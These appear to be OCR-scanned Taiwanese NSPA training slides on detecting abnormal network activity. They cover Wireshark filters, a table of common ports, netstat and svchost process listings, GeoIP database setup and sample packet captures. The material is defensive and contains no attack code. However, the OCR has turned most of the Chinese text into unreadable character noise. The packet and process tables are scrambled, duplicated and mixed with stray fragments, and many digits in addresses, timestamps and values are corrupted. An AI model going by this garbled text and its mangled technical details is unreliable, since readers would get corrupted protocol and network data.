R—ESCAHIESR - il - ERBMEBEXHERRE - RMIJLUER netstat
B2 - MEAPInEKAYFEEAREE -

HRIR R =R A DNS B

MEZENROIBER BB EAEL: - LER NHREBEREL - SEZEBISAENE -
=55 EIDNSHB UL A UL R IPAI U EFENAETS

Ed

’278 DNS &3 B HTTP/HTTPS @&l

=24 - Downloader 11 OJBEAEZEDNS &5 -
MmeBEEENZEmEENIPAILL -

BEAEEESMBEL RDP WEREHE

e RO LIRS ETERERR - A8  RMFTEEENWRELEESHE -
I B — IR B MRS @S E -

HOMTRTS » 5557% www.nspa-cert.org B www.nspa-cert-tw.org

—

?

NSPA
%15

TOR Skill-1, 2
A—ELR

HTTP/HTTPS Client
Skill-1

A—ELR

HTTP/HTTPS Client
Skill-2

A—TEHIR
SMB Skill-4

A—ELR


https://www.nspa-cert-tw.org/

g

Wireshark
BATRIBIE
Display
Filter

Not Allowed Service

not ip.addr == ServerHost
and smtp

SMB Error

smb or tcp.port==139 or
tcp.port==445

Abnormal ICMP
icmp

None

I/O reading bytes and I/O
writing bytes

EPNEREEL

Network Symptoms #8 #AE AR & it

ERE AR e L EBINWireshark) EiZE &
FINEEHBIRR

AIRHINERFE

SEBEZRAAEAPHERIMUHARE - EHEBLRERERE - ENERER
RU— B A ES -

B2 BEMHFIRERAIAEREE -
ARESMBIFRER (BEEZRENRTA)

Downloadert] BEB 2 EZ AL - LIER FNEIRERTRED - EEEZERBILRIE
fF - 2B RIDNSA LA RPN EHRIMEIETS -

EZEICMPHEITE

=24 - Downloader 11 OJBEAEZEDNS &5 -
MmeBEEENZEmEENIPAILL -

REIOENEFANMTER
e RO LIRS ETERERR - A8  RMFTEEENWRELEESHE -

DS =

I B — IR B MRS @S E -

EL OIS > 5527 www.nspa-cert.org il www.nspa-cert-tw.org

Eam ] - ERRBEXHERRE - HPJLUER netstat’

==
===

NSPA
%15

TOR Skill-1, 2
A—ELR

HTTP/HTTPS Client
Skill-1

A—ELR

HTTP/HTTPS Client
Skill-2

A—TEHIR
SMB Skill-4

A—ELR
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(ol gyt =

No.  Time Sonme Destinstion Potocal ~ Lengh  Info
24 2019-08-10 10:50:26.705258  103.035.46.190  10.0.0.13 00 6680 5397 [SYN, ACK] Seq=d Ackel bin
25 W9-08-10 10:50:26.705060  103.035.46.191  1.0.1.13 TP 6680+ 5598 [SYN, ACK] Seq=d Ackel iin
26 M9-08-11 10:50:26.715563  10..1.13 1B.25.06.090 TP 545597 » 80 [ACK] Seq=l Acke1 Hin=26Lmmm
27 2M9-08-11 10:50:26.705609  10.9.1.13 10.035.46.090 TP 5455908 » 80 [ACK] Seq=L Ack=L Win=D6L
28 2M9-08-11 10:50:26.7157%8  10.0.1.13 10.295.06.090  HTP 972 GET /hm.gifccelhck=1acl-20-bithds-12 0.0.0.0:0 | R

203. 104. 153. 129:443 RO

29 J019-68-11 10:50:26.8885%  103.55.46.191  10.0.1.3 TP 382HTTP/L.1 280 0K (GIFEde) 52.139. 250. 253:443 £ e T
30 2009-88-11 11:51:26.888687  10.0.1.13 32546190 10 54 55907 » 80 [ACK] Segq=919 Ack=319 Win= par 459,200 2080443 1S e i v
31 2019-08-11 10:51:27.757490 10.0.1.13 163.235.46.191 54 55007 » 80 [RST, ACK] Seq=019 Ack=329 AT o e
3 2019-08-10 10:51:27. 760474 10.0.0.13 163.235.46.191 54,5988 -+ 89 [RST, ACK] Seq=1 Ack=L lin 0.0.0.0:0 L o R e
39 2019-08-10 10:50:27.8529%  10.0.1.13 36.186.241.40 5455821 » 443 [RST, ACK] Seq=1 Ack<L Ui 0.0.0.0:0 L mEm L a cumeom ot ot s
30 2019-8-11 11:52:00.566314  10..1.13 MWIB153.109  TIS.2 95 Application Dats 00000 3 T o e
39 J019-08-11 10:52:00.600237  203.004.153.19  10.0.1.3 152 95 Application Data 0.0.0.0:0 | e
36 2019-08-11 11:52:00.644909 10.9.1.13 015,19 TP SAS57A5 » 443 [ACK] Seqed7L Ack=549 i 0.0.0.0:0 L] : mgzh;’f;elfks:;gv::“”
7 2M9-08-10 10:52:05.335074  AsustekC ST:3f:5c  Giga-Byt Sorfdscf AR 42bho has 10.0.1.254 Tell 10.0.1.13 0.0.0.0:0 L e e e
36 2019-08-10 10:52:05. 340007 Giga-Byt Shid:ch  AsustekC S7:3F:Sc AR 6010.0.1.254 s at 00:La:dd:Sh:Td:cF
39 2019-08-10 10:53:00.566101  10.9.1.13 .00.053.19  TLSLD 95 Application Data 0.EABA AT A E HBEFHEZ
10 20099811 10:53:00.600907  203.104.153.19  10.0.1.13 152 95 Application Data & +
412019-98-11 10:53:00.64571  10.0.1.13 W004053.100  TCP S S57A5 » 443 [ACK] SeqeS12 Ack=5290 i 1.EETRIM ("‘HE iT-r/E'j—')
DR LSBT MsustekC TS Gigabyt SoiTesc AP Mohes 100050 T 10008 D AR FRIEBEH AR ,U\(Net-Status)
820090811 11505335005 Giga-Byt SbiTdcF  AsusteC ST:3f:Sc AP 6010..1.250 is at 09:la:dd:ShTd:cf _ _
14 2019-08-11 11:53:13.218492  10.0.1.13 168.95.1.1 DIS 82 Standard query Bx8089 A zh-tw.appex-r 3.7'|‘£F?_$ﬂﬁmﬁi ED(PFOCESS-LIS’()
45 2019-08-11 11:53:13.24495¢  10.0.1.13 §.8.8.8 DNS 82 Standard query @x8b89 A zh-tw.appex-r__
46 2019-08-11 11:53:13.255078  168.95.1.1 10.0.1.13 DNS 180 Standard query response Bx8b09 A zh-t JER! FEFEI0NE, BHEREIE, AZBERFE, B TERBER

1-57




—— >
AT = A
i =
=< n M=
( |Applyad1sp]ayfﬂter"' Ctekis 'I Expression
Na. Time Source Destination Protocal ~ Length  Info
24 2019-88-11 11:51:26.715258  103.235.46.191 10.8.1.13 TCp 66 88 + 55907 [SYN, ACK] Seq=@ Ack=1 Win
25 2019-88-11 11:51:26.715261  183.235.46.191 16.0.1.13 TCP 66 80 + 55988 [SYN, ACK] Seq=8 Ack=1 Win:

26 2019-88-11 11:51:26.715563
27 2019-88-11 11:51:26.715689
28 2019-88-11 11:51:26.715758
29 2019-88-11 11:51:26. 888556
30 2019-88-11 11:51:26. 888687
31 2019-88-11 11:51:27.757498
32 2019-88-11 11:51:27.760474
33 2019-88-11 11:51:27.852956
34 2019-88-11 11:52:09.566314
35 2019-88-11 11:52:00. 6081237
36 2019-88-11 11:52:00.644919
37 2019-88-11 11:52:05.335674
38 2019-88-11 11:52:05. 340087
39 2019-88-11 11:53:00. 566181
49 2619-88-11 11:53:00.600917
41 2019-88-11 11:53:00. 644571
42 2019-08-11 11:53:05.334716
43 2019-08-11 11:53:05.335125
44 2619-88-11 11:53:13.218492
45 2019-88-11 11:53:13.244958
46 2019-08-11 11:53:13.255078

(EASR: E R B, &

10.8.1.13 103.235.46.191 TCP
10.8.1.13 103.235.46.191 TCP
10.8.1.13 103.235.46.191 HTTP
103.235.46.191 19.0.1.13 HTTP
10.8.1.13 103.235.46.191 TCP

10.8.1.13
10.8.1.13
10.8.1.13

103.235.46.191
103.235.46.191
35.186.241.40

10.8.1.13 203.104.,153.129 TLSv1.2
203.104.153.129 10.0.1.13 TLSv1.2
10.8.1.13 203.184.153.129 TCP

Asustek(_57:3f:5¢
Giga-Byt_Sb:7d:cf

Giga-Byt 5b:7d:cf  ARP
Asustek(_57:3f:5c  ARP

10.8.1.13 203.184.153.129 TLSv1.2
203.104.153.129 10.0.1.13 TLSv1.2
10.8.1.13 203.184.153.129 TCP

Asustek( 57:3f:5¢
Giga-Byt_Sb:7d:cf

Giga-Byt 5b:7d:cf  ARP
AsustekC_57:3f:5¢c  ARP

10.8.1.13 168.95.1.1 DS
10.8.1.13 8.8.8.8 DS
168.95.1.1 10.0.1.13 DS

1.Network Traffic Analyze

54 55907 + 80 [ACK] Seq=1 Ack=1 Win=2621mm

54 55908 + 88 [ACK] Seq=1 Ack=1 Win=2621
972 GET /hm.gif?cc=1fck=18c1=24-bithds=12i
382 HTTP/1.1 200 OK (GIF89a)

54 55997 + 88 [ACK] Seq=919 Ack=329 Win=

54 55987 + 88 [RST, ACK] Seq=919 Ack=329

54 55908 + 80 [RST, ACK] Seq=1 Ack=1 Win

54 55821 » 443 [RST, ACK] Seg=1 Ack=1 Wi

95 Application Data

95 Application Data

54 55745 + 443 [ACK] Seq=471 Ack=5249 Wil
42 Who has 18.8.1.254? Tell 10.0.1.13

60 18.8.1.254 is at @0:1a:4d:5b:7d:cf

95 Application Data

95 Application Data

54 55745 + 443 [ACK] Seq=512 Ack=5298 Wil
42 Who has 10.8.1.254? Tell 10.0.1.13

60 18.8.1.254 is at @@:1a:4d:5b:7d:cf

82 Standard query ©x8b89 A zh-tw.appex-r

82 Standard query ©x8b89 A zh-tw.appex-r__
180 Standard guery response Bx8b@9 A zh-t™ |

38 AT\ 32 A 51k )

\

4
5

 —

A

-
d

10.0.1.13: 139
10.0. 1.

10.0. 1.

10.0. 1.

10.0. 1.

10.0. 1.
10.10.1. 10

LISTENING
ESTABLISHED
ESTABLISHED
ESTABLISHED
TIME_WAIT
TIME WAIT
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
ESTABLISIHED
LISTENING
ESTABLISHED
LISTENING

2. Network Status of Host
(A 8

4828
3396
3396
3396
3396
3396
3396
3396

RETIBARaE, B2 B FEPIDAR )

7

ZE

suchost exe
svchostexe
suchost exe
svchost exe
suchost exe
suchost exe
svchostexe
suchost exe
suchast exe
svchostexe
suchost exe
svchost exe
suchost exe
suchost exe
svchostexe
suchost exe
suchast exe
svchostexe
suchost exe
svchost exe
suchost exe
suchost exe
svchostexe

suchost exe

EDE Eb E/‘j </ m‘%'z

BEER M

ERESEEDS St gRE REEH g
PID /0 SR fir WOBAITE &%7
4583 15,780,568 21,521,721 c\windows\system32\svchost.exe -k networksenvice -p -s CryptSve
4768 584,375,486 182,741,145 c\windows\system32\svchost.exe -k netsves -p
5156 0 0 c\windows\system32\svchost.exe -k networksenvice -p -5 TapiSiv
5256 0 0 c\windows\system32\svchost exe -k localservice -p -5 WdiServiceHost
5504 701,006 2754748 t:\windows\systemEZ\svchDst.exe -k neteves -p - LanmanServer
5524 2,168 1,760 c\windows\system32\svchost.exe -k netsves
6364 2,461,278 45,600 c\windows\system32\svehast exe -k localservice -p -5 LicenseManager
7748 18.416,654 99,093,223 cwindows\system32\svchost.exe -k unistacksvegroup -s WpnUserSenvice
8152 256,943 7416 c\windows\system32\svchost.exe -k localsystemnetworkrestricted -p -5 PcaSve
8164 115,464 1345400 c\windows\system32\svchost. exe -k netsves -p -s TokenBraker
8272 0 0 c\windows\system32\svchost.exe -k netsves -p -s Appinfo
10028 130,295 2725 CAWINDOWS\system32\svehost exe -k netsvis -p -5 wlidsve
10176 2,344 0 cwindows\system32\svchost.exe -k netsves -p -s lfsve
10336 279114 55882902  c\windows\system32\svchost.exe -k netsves -p -s BITS
11100 0 0 c\windows\system32\svchost.exe -k localsystemnetwarkrestricted -p - Netman
11336 104,240 66,560  c\windows\system32\svchost.exe -k lacalserviceandnoimpersanation -p s upnphast
11480 1972 2720 c\windows\system32\svchost.exe -k localservicenetworkrestricted -p -5 wsesve
11840 34,517 0 cwindows\system32\svchost.exe -k localsystemnetwarkrestricted -p - StorSve
12296 20,684 444,169 235,627,665  C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup -s COPUserSve
13280 0 0 cl\windows\system32\svchost exe -k localsystemnetworkrestrictad -p -5 SensarService
14484 0 0 c\windows\system32\svchost.exe -k localservicepeeret -s PNRPsve
15080 0 0 CAWINDOWS\system32\svchost exe -k SDRSVC
13096 573,335 460,961 cwindows\system32\avchost.exe -k localservicepeemet -s p2pimsve
15112 671,744 139,264 c\windows\system32\svchost.exe -k localsystemnetworkrestricted -p -5 DsSve

3.Task Detail Trace
(E8#2: PID #R5%, B fp S BI2 )

1. A BT

:/|\\|

Zm NG ER, BMoILUEE EREMNZETIU (Abnormal Network Application) HIE
4T (Network Behaviors Analyze) BI40: £ Wireshark

PRt R T E -

2. EEERLAFAEBAREE (Network Status of a Host) Fl#0: & netstat —ano —p tcp
3. $ﬂ TRIAFEMEN (Task Detail Trace) Fldl: R TEEEEMNFEMAER




. FrEET BB AT B[R Al
1.Capture Filter 1. BBV BIR & 14 (Capture Filter) BB R fLY, W& R E -
2.Display Filter 2.2 W7 BIRV &4 (Display Filter) #iEXERLEY, 7 BE IR R L EI B B EILAI L -

3.Endpoint Detail 3. B INEAR I E ETL(Endpoint Detail) BB L Z ARG EGeolPERIE « FFINE -
4.1 TIETUREE (Process Detail) OIIfE A 48 T &, £ Port, PID, PathName & ©

M \Vireshark - Capture Interfaces ? x

Input Cratput Crphions:

Interface Traffic Link-layer Header Prom Snapler Buffer (I Moni Capture
> iNpcap Loopback Adapter Ethernet ]  default 2 —
> EEEEYT . Ethernet [~ default 2 ]
* Microsoft: Wi-Fi Ethernet 1 default 2 ]
> Oracle: VirtualBox Host-Only Network #2 Ethernet ]  default 2 —
O OEEET . Ethernet [~ default 2 —
EEESH 16 . Ethernst [+] default 2 —
> EEEE4 —_ Ethernet [+] default 2 ]
> O OEEEES . Ethernet [~ default 2 —
EEEH 14 . Ethernet ] default 2 —
» Oracle: VirtualBox-Met Ethernet 1 default 2 _
EEEH 13 . Ethernet [~ default 2 —
> Bluetooth #HEES Ethernet ] default 2 —
y LEEEA4 _— Ethernet [+] default 2 _
> Qualcomm Atheros Ar81:x series PCI-E Ethernet Controller: 7,78 Ethernet [~ default 2 — not broal
€ >
[«] Enable promiscuons mode on all interfaces |Ma.11a,ge Interfaces - |
Capture filter for selected interfaces: [i |n|:|t broadcast and not molteast Eq - |
, St | REAEA  mEed
‘.:1 -2 % éprﬁ;q_ 31 éa /4‘_’\ 1~ 'L‘;v‘v L
—+= T\ [PV v X T %’l 1-58




DNS
HTTP

HTTPS

SMTP
POP3
FTP
Telnet
CIFS
MS-SQL

Remote
Desktop
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Transfer Host Name and IP Address on Internet. Especially, it is the pre-behavior about computer browse
the Web or send/receive email.

At first, it is used for Web page browsing. Now a day, it is used for many Internet service Interface such as
Webmail, Facebook, Twitter, ...

Secure web browsing, HTTP+SSL, Web bank or email login would use this.

Sending email. Now a day, users send email by Web-mail so that SMTP is seldom used by end users.
However, mail servers still use SMTP to send email.

Receiving email. As same as SMTP, it is rare in end users because Web-mail. Mail servers still use POP3
to receive email.

Files Transfer Protocol. This protocol also would be replaced by P2P or Cloud Storage (Web, HTTP or
HTTPS) but online games still use this to update Apps.

It is telecomm command with plain text mode. Mostly it is used for Firewall or Wireless Access Point device
by maintenance engineers.

It is used for Network Neighborhood which provides the following purpose, (1) Login/Logout (2) Shared
Resource (3) Printing Service.

Microsoft SQL Database Server Service.

Windows Terminal Service. It provides remote desktop service same as Citrix RDP. Mostly it is used for
Servers maintenances from WAN/LAN.

275

UDP-53 Normal
TCP-53 * (ISP Only)

TCP-80, TCP-8080, TCP-8000,
TCP-10000

TCP-443 (Encryption)

TCP-25
(Default, no password)

TCP-110
(user-ID, password)

TCP-21 (TCP-20)
(user-ID, password)

TCP-23
(user-1D, password)

TCP-139, TCP-445
UDP-135~UDP-138

TCP-1433
UDP-1434

TCP-3389
(user-1D, password)

UPD-53
Often

Very often

Often

Mail Server
Very often

Mail Server
Very often

Online Game
Very often

Rare
(Night-Fatal)

Very often
(WAN-Fatal)

Rare
(DBs — Often)

Rare
(Night-Fatal)
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M raxMind Database Paths ? >
Edit VWiew Go Capture Analyze  Statistics Maxhind Database Directory
| Co 3
E i Ml iireshark - Preferences
[ % Find Packet... Ctrl+F
1 Find Mext Cirl+M | ~ Appearance Name Besolution
Find Previous Ctrl+B Columns Ramlve MAC addresses
Font and Calars
Mark/Unmark Packet Ctrl+M Layout [] Resolve transport names
Mark all Displayed Ctrl+Shift+ M Capture [ Resolve netwark (IP) addresses
LAl M L Y e Expert Uze captured DNE packet data for address resolution
Unmark All Displayed Cirl+Alt+ b Filter Buttons
Ctrl+Shift+ M Mame Resolution Use an external network name resolver
Plark Cirl+Shifi+B Protocols Mazdmum concurrent reguests |EDD
itj'tmt'“ 4 [] Only use the profile “hosts" fils
: wance
:gnc-rev’ fJ”mfa.nDIre F’j'-‘ket ‘ftf: +E‘| o ] Resolve YLAN IDs = E R E
gnare All Displayec Ctrl+Shift+D
. . L _ . . I:I Remlve 3327 PCs Erpeci] Help
Unignore All Displayed Ctrl+Alt+D [] Enabls OID resolution
Set/Unset Time Reference Ctrl+T [] Suppress 3MI ervors
] Unset All Time References Ctrl+Alt+T [ SMI (MIE and PIE) paths Edit---
! . f = S P T (T PR
LEE = === Ctrl+Alt+N SMI (MIE and PIE) modules Edit---
Previous Time Reference Ctrl+Alt+B ] ] ] : " Maxind Database Paths 7 W
I FMactdind database directories Edit---
3 Time Shift. . Ctrl+Shift+T !
3 [ Mazxhind Database Directory
Packst Comment... Ctrl+Alt+C i D-/MaxMind_GEQ_IB/Geolite2-ASN_20130730
Delete All Packet Comments | < > D:/MaxMind_GECQ_|P/Geolite2-Country_20180730
D:/MaxMind_GEQ_IP/Geolite2-City_20190730
Configuration Profiles_. Ctrl+Shift+A I / - P/ - !

Preferences...

1.3 HE#E: 2 E™ (B maxmind X GeolP) TE
2.7 ¥ =" GeolP free download

3. N&Efid: https://dev.maxmind.com/geoip/geoip2/geolite2/

4. NETEZE: City, Country, ASN Info

Cirl+Shift+P

e
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netstat -ano -p tcp
sudo netstat -tupan

0.0.0.0:0 LISTENING
203. 104. 153. 129:443 ESTABLISHED
52. 139. 250. 253:443 ESTABLISHED
02. 139. 250. 253:443 ESTABLISHED
23.48. 129. 24:80 TIME WAIT
173. 222. 181. 250:80 TIME WAIT
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
ESTABLISHED
LISTENING
ESTABLISHED
LISTENING

——oooooe

l:

m []

0. 1.

0. 1.

0. 0.
. 0. 0.
. 0. 0.
. 0. 0.
. 0. 0.
. 0. 0.
. 0. 0.
. 0. 0.
. 0. 0.

oc—o=mooooooge

[] m []
SNeNeeeeee,
CPREPRLRERReR

et o f—
cocococococoocoo
c~o~ocococoCooo
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EEEE M=t
=
ZHE
[0E]svchost.exe
[0=]svchost.exe
[E] svchost.exe
[0E] svchost.exe
[0E]svchost.exe
[E] svchost.exe
[E] svchost.exe
[0E]svchost.exe
[0=]svchost.exe
[E] svchost.exe
[8E]svchost.exe
[0E]svchost.exe
[0=]svchost.exe
[E] svchost.exe
[0E]svchost.exe
[0E]svchost.exe
[E] svchost.exe
85| svchost.exe
[0E]svchost.exe
[0=]svchost.exe
[E] svchost.exe
[0E] svchost.exe
[0E]svchost.exe
[E] svchost.exe

LfF

m}:}r

EREIEEDSs BHE @HE =HER B

FID

4528
4768
5156
5256
5504
5524
6364
7748
8152
8164
272
10028
1176
10336
11100
11336
11480
11840
12296
13280
14484
15080
15096
15112

I/O EE{UTEE
15,780,568
584,375 486
0

0

701,096
2,168
2,461,278
18,416,654
256,943
115,464

0

130,295
2,344
2,791,014

0

104,240
1,972
34,517
29,684 444 169
0

0

0

573,555
671,744

/O B AU
21,521,721
182,741,145
0

0

2,754,748
1,760
45,690
09,093,223
74186
1,345,400

0

2,725

0
55,882,902
0

6,560
2,720

0
235,627,665
0

0

0

450,961
139,264

L= L

2]l

chwindowshsystem32\svchost.exe -k networkservice -p -s CryptSvc
chwindows\system32\svchost.exe -k netsves -p

chwindowsh\system3 2\svchost exe -k networkservice -p - TapiSrv
chwindows'system3 2\svchost.exe -k localservice -p -s WdiServiceHost
chwindows'system32\svchost.exe -k netsves -p -s LanmanServer
chwindowsh\system3 2\svchost exe -k netsves

chwindowshsystem3 2\svchost exe -k localservice -p -s LicenselManager
chwindowshsystem32\svchost.exe -k unistacksvegroup -s WpnUserService
chwindows\system32\svchost exe -k localsystemnetworkrestricted -p -s PcaSve
chwindowshsystem3 2\svchost exe -k netsves -p -s TokenBroker
chwindows'system3 2\svchost exe -k netsves -p -s Appinfo
CAWINDOWS\system3 2\svchost.exe -k netsves -p -s wlidsve
chwindows\system32\svchost. exe -k netsves -p -5 [fave

chwindowshsystem3 2\svchost exe -k netsves -p -5 BITS

chwindows'systemn 32\svchost.exe -k localsystemnetworkrestricted -p -s Metman
chwindows'systemn32\svchost.exe -k localserviceandnoimpersonation -p -s upnphost
chwindowshsystem3 2\svchost exe -k localservicenetworkrestricted -p -5 wscsve
chwindowshsystem3 2\svchost exe -k localsystemnetworkrestricted -p -s StorSwc
CAWINDOWS\system3 2\svchost.exe -k UnistackSvcGroup -5 COPUserSve
chwindows\system32isvchost exe -k localsystemnetworkrestricted -p -s SensorService
chwindows\system3 2\svchost exe -k localservicepeernet -s PMRPave
CAWINDOWS\systern3 2\svchost.exe -k SDREVC
chwindows'system32\svchost.exe -k localservicepeernet -s p2pimsvc

chwindows\system3 2\svchost exe -k localsystemnetworkrestricted -p -5 DsSve
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F5-HTTPS

(W] &pply & display filter - <Ctil-»

* | Expresson: -

Mo,

Time

4676 2019-88-87 16:23:58.119542
4677 2019-88-87 16:23:58.123829

4688 2819-83-87
4681 2819-83-87
4682 2819-88-87
4683 2819-83-87
4684 2819-83-87
4685 2819-88-87
4686 2819-83-87
4687 2019-83-87
4688 20819-88-87
4689 2819-83-87
4698 2819-83-87
4691 2819-88-87
4692 2819-83-87
4693 2819-83-87
4694 2819-83-a7
4695 2819-83-87
4696 2819-83-87
4697 2019-83-87
4693 2819-83-87
4699 2819-83-87
4708 2019-83-87

16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:

23:
23
23
23:
23:
23
23:
23:
23
23:
23:
23
23:
23:
23
23:
23:
23
23:
23:
23

58.
58.
58.
58.
58.
58.
58.
58.
58.
58.
58.
5B.
58.
58.
58.
58.
58.
58.
58.
58.
58.

127134
127957
138199
156719
156724
156828
156988
157848
167333
178257
178729
17@733
178878
172397
172682
172875
173168
173332
174877
174879
174986

Source
192.168.281.59
168.95.192.1

192.168.281.59
192.168.281.59
13.187.18.11
13.187.18.11
13.187.18.11
192.168.281.59
13.187.18.11
192.168.281.59
192.168.281.59
13.187.18.11
13.187.18.11
13.187.18.11
192.168.281.59
192.168.281.59
192.168.201.59
192.168.281.59
192.168.281.59
192.168.201.59
13.187.18.11
13.187.18.11
192.168.201.59

Destination
168.95.192.1
192 .168.281.59

13.187.18.11
13.187.18.11
192.168.281.59
192.168.281.59
192.168.281.59
13.187.18.11
192.168.281.59
13.187.18.11
13.187.18.11
192.168.281.59
192.168.281.59
192.168.201.59
13.187.18.11
13.187.18.11
13.187.18.11
13.187.18.11
13.187.18.11
13.187.18.11
192.168.281.59
192.168.281.59
13.187.18.11

Protocol
DNS
DNS

TCP
TLSv1.2
TCP
TCP
TCP
TCP
TLSv1.2
TCP
TLSv1.2
TCP
TLSv1.2
TLSv1.
TCP
TLSv1.
TLSv1.
TLSv1.
TLSv1.
TLSv1.
TCP
TLSv1.2
TCP

P

Bud Bl B B

Length  Info
78 Standard query Bxcel2 A outlook.office.com

236 Standard query response Bxcel? A outlook.office.com cnNA

54 52416 -+ 443 [ACK] Seq=1 Ack=1 Win=262144 Len=0
261 Client Hello
60 443 » 52416 [ACK] Seg=1 Ack=288 Win=2162272 Len=8
1586 443 -+ 52416 [ACK] Seq=1 Ack=288 Win=2182272 Len=1452 [T
1586 443 -+ 52416 [ACK] Seq=1453 Ack=288 Win=2182272 Len=1452
54 52416 -+ 443 [ACK] Seq=288 Ack=2985 Win=262144 len=08
1483 Server Hello, Certificate, Certificate Status, Server K
54 52416 -+ 443 [ACK] Seq=288 Ack=4334 Win=268608 Len=0
147 Client Key Exchange, Change Cipher S5pec, Encrypted Hand
60 443 - 52416 [ACK] Seq=4334 Ack=381 Win=2182272 lLen=0
388 New Session Ticket, Change Cipher Spec, Encrypted Hands
123 Application Data
54 52416 -+ 443 [ACK] Seq=381 Ack=4729 Win=262144 Len=0
141 Application Data
92 Application Data
1484 Application Data
876 Application Data
92 Application Data
60 443 - 52416 [ACK] Seq=4729 Ack=426 Win=2182272 lLen=0
92 Application Data
54 52416 - 443 [ACK] Seg=2636 Ack=4767 Win=261888 Len=8
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(W [ apply & display filter -+ <Ctil-i = | Expression---

Ma. Time Boure Destination Frotocol Length  Info
257 2019-88-87 16:17:85.951586 192.168.2681.59 168.95.192.1 DS 88 Standard query Bxdlal A cdn.content.prod.cms.msn.com
258 2819-88-87 16:17:85.951511 192.168.2681.59 168.95.192.1 DS 94 Standard query 8x712c A tile-service.weather.microsoft.
259 2619-88-87 16:17:85.954258 168.95.192.1 192.168.281.59 DNS 195 Standard query response Bxdlal A cdn.content.prod.cms.m
268 2819-88-87 16:17:85.954259 168.95.192.1 192.168.281.59 DNS 288 Standard query response 8x712c A tile-service.weather.m
261 2819-88-87 16:17:85.966768  192.168.281.59 172.222.181.258 TCP 66 52299 - 88 [SYN] Seq=8 Win=64248 lLen=8 MS55=1468 WS=256
262 2819-88-87 16:17:85.967015  192.168.281.5%9 96.17.1.251 TCP 66 52380 -+ BB [SYN] Seq=0 Win=64248 lLen=8 MS5=1468 W5=256
263 2819-88-87 16:17:85.968189  192.168.281.5%9 173.222.181.258 TCP 66 52381 -+ BB [SYN] Seq=0 Win=64248 lLen=8 MS5=1468 W5=256
264 2819-88-87 16:17:85.969983  52.229.2087.68 192.168.281.59 TCP 60 443 » 52298 [ACK] Seg=5864 Ack=419 Win=262488 Len=8
265 2819-88-87 16:17:85.969985 96.17.1.251 192.168.2081.59 TCP 66 88 - 52388 [SYN, ACK] Seq=0 Ack=1 Win=29280 Len=0 MS55="mm
266 2819-88-87 16:17:85.970128  192.168.281.59 96.17.1.251 TCP 54 52380 -+ BB [ACK] Seq=1 Ack=1 Win=66560 Len=0
267 2819-88-87 16:17:85.970323  192.168.281.59 96.17.1.251 HTTP 267 GET /zh-TW/livetile/preinstall?region=TW&appid=C98EASEH
268 2819-88-87 16:17:85.972979  173.222.181.25%8 192.168.281.59 TCP 66 88 - 52299 [S5YN, ACK] S5eq=0 Ack=1 Win=29280 Len=8 M55=1
269 2019-88-87 16:17:85.972980  96.17.1.251 192.168.281.59 TCP 60 88 - 52388 [ACK] Seg=1 Ack=214 Win=38336 Len=0
278 2819-88-87 16:17:85.973094  192.168.281.59 173.222.181.258 TCP 54 52299 -+ BB [ACK] Seq=1 Ack=1 Win=66560 Len=0
271 2619-88-87 16:17:85.973249 192.168.2081.59 173.222.181.258 HTTP 269 GET /singletile/summary/alias/experiencebyname/today?ma
272 2819-88-87 16:17:85.973984  96.17.1.251 192.168.281.59 TCP 1586 88 - 52308 [ACK] Seqg=1 Ack=214 Win=30336 Len=1452 [TCP
273 2019-88-87 16:17:85.973988 96.17.1.251 192.168.281.59 TCP 1586 88 - 52308 [ACK] Seq=1453 Ack=214 Win=38336 Len=1452 [T
274 2819-88-87 16:17:85.973999  173.222.181.25%8 192.168.281.59 TCP 66 88 - 52381 [SYN, ACK] Seq=8 Ack=1 Win=29280 Len=0 M55=1
275 2819-88-87 16:17:85.973991  96.17.1.251 192.168.281.59 TCP 1586 88 - 52380 [ACK] Seq=2985 Ack=214 Win=38336 Len=1452 [T
276 2819-88-87 16:17:85.973992  96.17.1.251 192.168.281.59 HTTP/X... 312 HTTP/1.1 288 OK
277 2819-88-87 16:17:85.974837  192.168.281.59 96.17.1.251 TCP 54 52388 - 88 [ACK] Seq=214 Ack=2985 Win=66568 Len=0
278 2819-88-87 16:17:85.974133  192.168.281.59 173.222.181.258 TCP 54 52381 -+ BB [ACK] Seqg=1 Ack=1 Win=66560 Len=0
279 2819-88-87 16:17:85.974147  192.168.281.59 96.17.1.251 TCP 54 52380 -+ B0 [ACK] Seq=214 Ack=4615 Win=66568 Len=0
280 2019-88-87 16:17:85.974263 192.168.2081.59 173.222.181.258 HTTP 272 GET /singletile/summary/alias/experiencebyname/today?ma
281 2019-88-87 16:17:85.978320  173.222.181.25%8@ 192.168.281.59 TCP 60 88 - 52299 [ACK] Seg=1 Ack=216 Win=38336 Len=0
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/
(W | &pply a display filter == <Ctil-/ ~ | Expressinne--
M. Time Soure Destination Protocol Length  Info |
75 2019-88-19 14:89:31.584481  192.168.281.59 117.18.237.29 TCP 54 49841 - BB [FIN, ACK] Segq=1 Ack=1 Win=260 Len=0
76 2019-88-19 14:89:31.584512  192.168.281.59 117.18.237.29 TCP 54 49883 - 8@ [FIN, ACK] Seg=1 Ack=1 Win=257 Len=0 =
77 2019-88-19 14:89:31.584584  192.168.281.59 117.18.237.29 TCP 54 49827 - BB [FIN, ACK] Seq=1 Ack=1 Win=260 Len=0
78 2019-88-19 14:89:31.584688  192.168.281.59 283.69.81.43 TCP 54 49970 - 80 [FIN, ACK] Seq=1 Ack=1 Win=257 Len=0
79 2019-88-19 14:89:31.584767  192.168.281.59 184.18.28.226 TCP 54 49842 - 8@ [FIN, ACK] 5eg=1 Ack=1 Win=268 Len=0@ e
80 2019-88-19 14:89:31.584837  192.168.281.59 184.18.208.226 TCP 54 49843 - 88 [FIN, ACK] Seq=1 Ack=1 Win=268 Len=0
81 2019-88-19 14:89:31.584928  192.168.281.59 184.18.28.226 TCP 54 58879 - BB [FIN, ACK] Seq=1 Ack=1 Win=260 Len=0 —
82 2019-88-19 14:89:31.585023  192.168.281.59 13.35.11.139 TCP 54 49777 - BB [FIN, ACK] Seq=1 Ack=1 Win=260 Len=0
83 2019-88-19 14:89:31.587155  283.69.81.43 192.168.281.59 TCP 60 88 - 49978 [FIN, ACK] Segq=1 Ack=2 Win=245 Len=08
84 2019-88-19 14:89:31.587156  13.35.11.139 192.168.281.59 TCP 6B 88 - 49777 [FIN, ACK] Seq=1 Ack=2 Win=119 Len=0
